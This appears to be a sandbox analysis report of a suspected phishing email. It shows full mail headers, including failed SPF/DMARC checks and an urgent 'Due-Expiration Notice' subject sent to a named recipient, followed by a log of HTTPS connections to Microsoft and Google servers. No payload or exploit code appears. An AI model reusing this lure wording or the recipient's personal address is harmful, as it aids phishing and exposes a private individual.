ARC-Seal	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none; b=FhriVXTBNC6YoLTAriiDRqGyaZfNs0If6WXeus+fsu1wGPGrVCE5OnnDcVpBptfOsg0PJxNkBTI4Hz0QUoG6hvVbnqUHVvm8Nwy6a5bOe4b4bVF5BTyvY1dFSfQ7ikFoM25W+werVhTUjDVqFvyr2qeoBsDhIJCFvzO6Qq0UtPedlSy/qWwht05xBCbapMOkG4BvM8z6IgrQmQzY5ZL3QHnyHvC13y4m1KyNDfpZS1RoheV24zCp3ijvEf701nKrvLe+ePJSY1R1jZfnejRu+BWv+DqsCDsQQXaTEZtolrC46c05MrpeusRLhCviila3BDtN3X+sQuyIbSazKuny8g==
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector10001; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=2dKtb5+z0OReyPrIz6n6Kq1JLa7rPgo1aA8141QDSag=; b=avFVdhkwkn0ToFKQxHhR3c0sFawNaWJgNwKObGiXXtLYJ7wT63I2v9ODcBBjPLa32UJVcvwH70Q9sY/haDSfmMb3flWDUjOq6PZd/GKUcyIypo/ltxjWO8klbkBCH1/cYJmEJEPdSfhBI/v/FNXhBZBDjffvuGV3dmtG+pc2o/0rUm2W9+O+tsvwAyYDsLK0B57QMGmo3V5DpwUl80fv4C0h3KRlDCax2IvtC6oq66CZKNvrtuG0LPn4bRdJ4dfmWNl6oSUFaYU4xd23Spq9/YVIQQea4LrIh7LUS2ir/y/KWypSaGjekAUxgwh6Dd3a7PRtNZuM/BmNCGPu61cGpQ==
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=fail (sender ip is 34.77.207.94) smtp.rcpttodomain=americansignature.com smtp.mailfrom=fortunecreek.com; dmarc=fail (p=none sp=none pct=100) action=none header.from=fortunecreek.com; dkim=none (message not signed); arc=none (0)
Authentication-Results	spf=pass (sender IP is 52.100.221.201) smtp.mailfrom=fortunecreek.com; dkim=pass (signature was verified) header.d=NETORG3751268.onmicrosoft.com;dmarc=pass action=none header.from=fortunecreek.com;compauth=pass reason=100
Received-SPF	Fail (protection.outlook.com: domain of fortunecreek.com does not designate 34.77.207.94 as permitted sender) receiver=protection.outlook.com; client-ip=34.77.207.94; helo=[10.88.0.5];
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed; d=NETORG3751268.onmicrosoft.com; s=selector2-NETORG3751268-onmicrosoft-com; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; bh=2dKtb5+z0OReyPrIz6n6Kq1JLa7rPgo1aA8141QDSag=; b=U10e2T8yhUfuXuWaRVShZCGdOq+7V9B4P3tCydpjAxHOtYgYZQK7KNdhr7pJ376jqmqyGxKu5pVZuyX+bE37Ad0SNcjXotrj/oiGq97Q1WOPayEMavZDIjXFgBY0oIjDcXvGj+x5lcisRX/D1GEXDbM+pSEIuOWuZSGRH1XJfLk=
X-MS-Exchange-Authentication-Results	spf=fail (sender IP is 34.77.207.94) smtp.mailfrom=fortunecreek.com; dkim=none (message not signed) header.d=none;dmarc=fail action=none header.from=fortunecreek.com;
Content-Type	multipart/related; boundary="===============8367629150122744080=="
From	Administration-Manager <admin@fortunecreek.com>
To	rachel.anderson@americansignature.com
Subject	Reminder, Due-Expiration Notice priority today UW
Message-ID	<293cc202-e9b9-4132-b110-ca396b96b5ea@QB1PEPF00004E08.CANPRD01.PROD.OUTLOOK.COM>
Return-Path	admin@fortunecreek.com
Date	Thu, 10 Oct 2024 13:12:53 +0000
X-EOPAttributedMessage	1
X-MS-TrafficTypeDiagnostic	QB1PEPF00004E08:EE_\|YT6P288MB0786:EE_\|SJ5PEPF000001D6:EE_\|CH3PR17MB6617:EE_\|BL3PR17MB6113:EE_
X-MS-Office365-Filtering-Correlation-Id	ea716afa-6d36-469e-78a1-08dce92d41a9
X-MS-Exchange-SenderADCheck	1
X-MS-Exchange-AntiSpam-Relay	0
X-Microsoft-Antispam-Untrusted	BCL:0;ARA:13230040\|1800799024\|36860700013\|34070700014\|82310400026\|376014\|38500700025;
X-Microsoft-Antispam-Message-Info-Original	Wenp1y7mQ+oWHzziNw7w53G87FosrKtcgiNeskhu6exSsOlL68Q1pZdPzwSkTrE91+JlAdqWz/mLBvfS0BK6D0Iqcky1q/CJDDe+BX+FI5rh8GlYM2VHv8fLdm4Cj1Z1vznNIqPS2jmPImSsjCGPXEgbDbPUV0o4K1ucmpFbnyi9npqiVUGj9RPySGp+YqSGV233cfhibl1ISeragpRPrCwE7N7p9T6awzPxyM2hHcqh2NUCq50imLUABGsdrvtwAXerELT8Nf2bvY/wuvI6iwkPwkU8Kkyi8pDSH23ar0so2Ex9jNB/HZ16wVgb6o5H9NTd/MUp9RCKlrPhkraxukCqlSUkG50MldjZ0N0b2T4Ft+YEaNbQJhlI/hvNRi0fEvutTlYCW0hUhxr39ohu8AFP6cH4LKsip2QfPr1Xr9tPIzmu9YH6aXnmZ6Z56F7aXXZpc30YnyLq3og+43X9i0FGPvZ3L9CcwYo2UpwTGOHDMUeMU8RmjJ7cv9uy+XiKpbK1xexIwv//6c8HEWnwt3rtTV3dORKnZTR+J0dn/31h9+Jtu2DP16UqKGpu0cz74fDEoA/s1ouq2xDtNxAHme+4v5SYqzGplHyjuKX/DD4CkNQV93CiO6oOHaXFpj8618pn7/orB/HlMiG2MAKDjGghfW7+k4urmnhbZBFlFQRxOlZoogxlY8PxsQvh7INmcABBJNxtjdxHI8rAhTcF7Yt7v8EUJG7rGZccHDvArtGWhsqZI1RMrmvXzPCZL1Ho54EtJefOoB9nLn+SvitMN73lsx93pVhBP99sotb2QKHYswYiRHY7RJtf5mMUu1HxpGsQarXHh1FAl+nkjEbSZVAqeVuixcD6gnesAZcAnx2wZc4CdX+VgaUhOM1olexGUOyQfgtJqZWKvspDoqiYFqLq3YuVeRTWhD3NxoUJahjzEpQWhJ3XMdGi6TWw5F3/9mjw1Sgsu7GkIChTv0VY+R5a6J58MLTUk46waq6s3w1VS+QX030fAFh8eFE19aP+ec6FRIS1xpbRFVbUa5QI4s7t3RHE7X2y3d9pcJRoaVFbHaSLGea6/j2fRe4pxXfE/vgPeGZ43RDVGk+mw+DIHa9KmY+Cmj1V3KiuFSf6aUoP0VbSGsnFq8WfayYn8TtiufeP7A3SUZ2tL0gILCVD8zFevfQM21s8HFrVbFIFKoMxDTwnHqs9XxjcpOzRE97Mk/UoqbvClIFcTAi/V0iu5ghaCA2s+ci65e7pR02+PhSW7qVmWu6+WvAFgf+cAt1f/Xk3v6IAwkB9lRaP0jeHkawOqwLp6BkGoh/XSwkp5bdcO0VwthWyspxF/lDKQS2R
X-Forefront-Antispam-Report-Untrusted	CIP:34.77.207.94;CTRY:BE;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:[10.88.0.5];PTR:94.207.77.34.bc.googleusercontent.com;CAT:NONE;SFS:(13230040)(1800799024)(36860700013)(34070700014)(82310400026)(376014)(38500700025);DIR:OUT;SFP:1501;
X-MS-Exchange-Transport-CrossTenantHeadersStamped	CH3PR17MB6617
X-MS-Exchange-Organization-ExpirationStartTime	10 Oct 2024 13:12:56.4193 (UTC)
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	ea716afa-6d36-469e-78a1-08dce92d41a9
X-EOPTenantAttributedMessage	5c02e89a-b968-4d4e-960d-e62c7cd02766:0
X-MS-Exchange-Organization-MessageDirectionality	Incoming
X-MS-Exchange-Transport-CrossTenantHeadersStripped	SJ5PEPF000001D6.namprd05.prod.outlook.com
X-MS-Exchange-Transport-CrossTenantHeadersPromoted	SJ5PEPF000001D6.namprd05.prod.outlook.com
X-MS-PublicTrafficType	Email
X-MS-Exchange-Organization-AuthSource	SJ5PEPF000001D6.namprd05.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Office365-Filtering-Correlation-Id-Prvs	a473f87b-f107-407f-6978-08dce92d4060
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-MS-Exchange-Organization-SCL	1
X-Microsoft-Antispam	BCL:0;ARA:13230040\|35042699022\|76160400007;
X-Forefront-Antispam-Report	CIP:52.100.221.201;CTRY:CA;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CAN01-YT3-obe.outbound.protection.outlook.com;PTR:mail-yt3can01hn2201.outbound.protection.outlook.com;CAT:NONE;SFTY:9.25;SFS:(13230040)(35042699022)(76160400007);DIR:INB;SFTY:9.25;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	10 Oct 2024 13:12:56.2474 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id	ea716afa-6d36-469e-78a1-08dce92d41a9
X-MS-Exchange-CrossTenant-Id	5c02e89a-b968-4d4e-960d-e62c7cd02766
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp	TenantId=76a61bcc-6e13-4cf7-b3fe-2afbf6acc6ed;Ip=[34.77.207.94];Helo=[[10.88.0.5]]
X-MS-Exchange-CrossTenant-AuthSource	SJ5PEPF000001D6.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-EndToEndLatency	00:00:06.3122583
X-MS-Exchange-Processed-By-BccFoldering	15.20.8048.017
Importance	high
X-Priority	1
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	l+e5NzRgQhswDawUHmxq3RJwCA4yZsqT9GoXqxq2hVmlEVu4sSsPH801D2OnKmnGse0Qufm+SDch9IGr2dvFgzhjWFmoEosMjp5QrYsMPuTW8K/AUeP03Pgn08slquzqsTZGklWYyOlnymHf7KQG0wakWeo99TB8+6VzrvklmsonIMkVpLH9IWfxuvmXK9+hJ9Hh6H+rfSfbiwhJ8PRnIBCN+R3CQEG7S5Kpcmh1s4euP7dCEKaTNeX+sYRqcnG7x/9y14x6cq46yfwQA/+jmZTFlr5rBZth/go8BEKsNZV8Kmz3jur9JoTFlBaxdDwWbSVHZz01b3OGD/4twqwIhois/ORvSiIgU95gdVaMtn8+918i+gdsxH5zrVSugRrlNO5HwjnbzdjRzA/ZGFit34Q6gwWKR43uLAYYWQCQNtHqaxJtu2UQaKYSy+y7fpZnlpZKSJvGXm+vGQTir8ed2Q9BwvfRT0xwQVRPAvmyHlgE/N/MWWWb33YMTg1ABfx9AcPwAkb1TAZtUM7/tGXZQM5cYERbdDmstxyWPyzMDBA2SFUjbf5WWjF2ZN3ECbfmh1iTJXxLthOTfqepwVsJv/X17orMDCntHMe02v+0r8GNGouTb5wv5DHMnzny6lG7a3sdxEgeoOVQyjv7Yc5u9w6f0snTvWy6lEDJRZU3Y7ccYGzKCrc9Rj/WfgVqKc9/sXiF3/X/dqcldr1YOR+B2Qhmsrjrc0/dQ8qC4HFZRNjtvg5ODMUpyW5M6dZi92GwuoGCST/gyyVHhllnAgDsqUk21NhpiZLt3h/YGxsrvMigGYNk/lRvJWLgA45pJkuQOtuwcKFFspIkMGg9thNIfB3uQh6oSazVW6JpfRlSHvEIPkXcZmIfn2obREUme9PSakqbx9Gqw+8crIuLIcBWPGq0F7izq+Eme3Z1jk1fyCDajTnYNV2Z0mc5QKUtHmEWiTTlIiFQQWne8nsyjUTB24yM14cNVeG992Y8I14fd6HZjZxDORLgtA0tWeT7Jt0+zFR4+bvUEMyU1WwzEkT1H5i8Es9gL1iSvNnQjQvoZINSxMo4wjlbUAFJiB/OF+UfwADFfRo521sf0sKHUS54NHztVp0h8EYKSFG4rPkDdCoNGEFPFB4Hr03RudfnqGfeCZVfoJar1v3b19Tq0xJJqNaySrmUNzA5Cu/AxD6KuwZMSVUIlxl07OMBdUr+LyW4b9HYTeNFdIiQngZJaSe706gyd/HK1ppdjNDUKDVqHj4PvyCIiiRWUsjh/dJeTv4Qo7XV9RkGQ7a+u2ULdsjVbnJUVyRPDNhhh01ybXekmGQwO6HkyNxXQnyVu3S9r/CYRVK5Qw3ofDVqYHO/fcgisroHcFxSILrDwevTgIT/BYx9tVccbY5XbWstsKw7N45aWHq3Hr7WgfSRh4Vf7KvD+QWIxEmQPows8jSwujJc5txeoIiC4K9SNkh3wkr9WEW3GBju22kj4In33vNQ0I9SkCjNCpTQuIOS9MrrgsInxRayCncPeoEnRUw8zjUxV0222XW0YAwwF88Q9R3UD2addazF/umQmKUOWkjUet3QmdlvZ83VlUDYYw1dx6f4ZA632k6v3Qovd0dO5l/akGlxVzbG4ujvtXnvx98SllsFkpPSXXmjQwmHGGk3sh0P5eiDorsr+nq5t7hi7tKUYaqIb4B8i+CnY9sYXv4gX09Jn6vhiVvp0l+V3YEwTqUD4eQxkIiIsRZyX1ACi0bJJIXgD669nL6eAkOh8R996IHijaHawGpbmMMujw/vlb995A66WzF0B4ypMg8HwxyVv5TxK/rE64wIAfrZoXjYc+EDRZm0vxDWkkleKXJs7DBn+xlS8L+bvsJmErW3JrB5bFiag4SB//2+XD0ZqWweiitAivMJ5FMCMNvqIPvUUWP4+E08e3oNIgZIPYX+VIACmTFLtzk4wfPdm7OsMmZMu/tfjlVGFuVbvqXOcynB/BFdhXek
MIME-Version	1.0

File Icon


Icon Hash:	46070c0a8e0c67d6

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 18:00:06.047997952 CEST	49677	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:06.048023939 CEST	49676	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:06.048049927 CEST	49678	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:13.049371004 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:13.049431086 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:13.049535036 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:13.051664114 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:13.051692963 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:14.492558956 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:14.492683887 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:14.538925886 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:14.538953066 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:14.539330959 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:14.540913105 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:14.540951967 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:14.540994883 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.936990976 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.937011957 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.937037945 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.937086105 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.937105894 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:15.937161922 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:15.937617064 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:15.937633038 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.937660933 CEST	49701	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:15.937666893 CEST	443	49701	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:15.970264912 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.970278978 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:15.970483065 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.970794916 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.970803976 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:15.970854998 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.971168041 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.971168041 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:15.971178055 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:15.971189022 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:16.030090094 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:16.030119896 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:16.030236959 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:16.030522108 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:16.030531883 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:16.407329082 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:16.407373905 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:16.407455921 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:16.408550978 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:16.408565044 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:16.972693920 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:17.509541988 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604624987 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604671001 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604690075 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604705095 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604722023 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604749918 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 10, 2024 18:00:17.604780912 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:17.606718063 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 10, 2024 18:00:17.629267931 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.629544973 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.631505966 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.631530046 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.634018898 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.634100914 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.634860039 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.634872913 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.636492968 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.636631966 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.642271042 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.642422915 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.643325090 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.643886089 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.643892050 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.644013882 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.645767927 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.645795107 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.656287909 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.656320095 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.657291889 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.693191051 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:17.693351984 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:17.697062969 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.697062969 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.697093010 CEST	443	49705	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.709005117 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:17.709038019 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:17.709405899 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:17.709851980 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:17.709851980 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:17.709896088 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:17.713020086 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.745289087 CEST	49705	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.752913952 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.799411058 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.918070078 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.918174982 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.918622017 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.918713093 CEST	49706	443	192.168.2.17	104.47.74.28
Oct 10, 2024 18:00:17.918731928 CEST	443	49706	104.47.74.28	192.168.2.17
Oct 10, 2024 18:00:17.951972008 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952004910 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952013969 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952025890 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952038050 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952049971 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952075005 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.952089071 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952116966 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952119112 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.952138901 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952155113 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.952162981 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952178955 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.952321053 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.952660084 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952723980 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.952861071 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.964826107 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.964826107 CEST	49708	443	192.168.2.17	20.12.23.50
Oct 10, 2024 18:00:17.964850903 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:17.964860916 CEST	443	49708	20.12.23.50	192.168.2.17
Oct 10, 2024 18:00:18.143301010 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143337011 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143382072 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143413067 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.143436909 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143460989 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.143472910 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143521070 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.143940926 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.143940926 CEST	49707	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.143959045 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.143970013 CEST	443	49707	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.253357887 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.253401995 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:18.254390955 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.254492998 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:18.254507065 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.234741926 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.234913111 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.236800909 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.236830950 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.237162113 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.237740993 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.237781048 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.237837076 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.478765011 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:19.478812933 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:19.478883028 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:19.479055882 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:19.479069948 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:19.652278900 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.652304888 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.652348995 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.652393103 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.652414083 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.652475119 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.652475119 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.652787924 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.652787924 CEST	49713	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.652836084 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.652865887 CEST	443	49713	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.714987993 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.715040922 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:19.715130091 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.715267897 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:19.715284109 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.141992092 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.142270088 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.142288923 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.143676996 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.143748045 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.144798994 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.144923925 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.145016909 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.145029068 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.187038898 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.448390961 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.448540926 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.448592901 CEST	49714	443	192.168.2.17	142.250.186.132
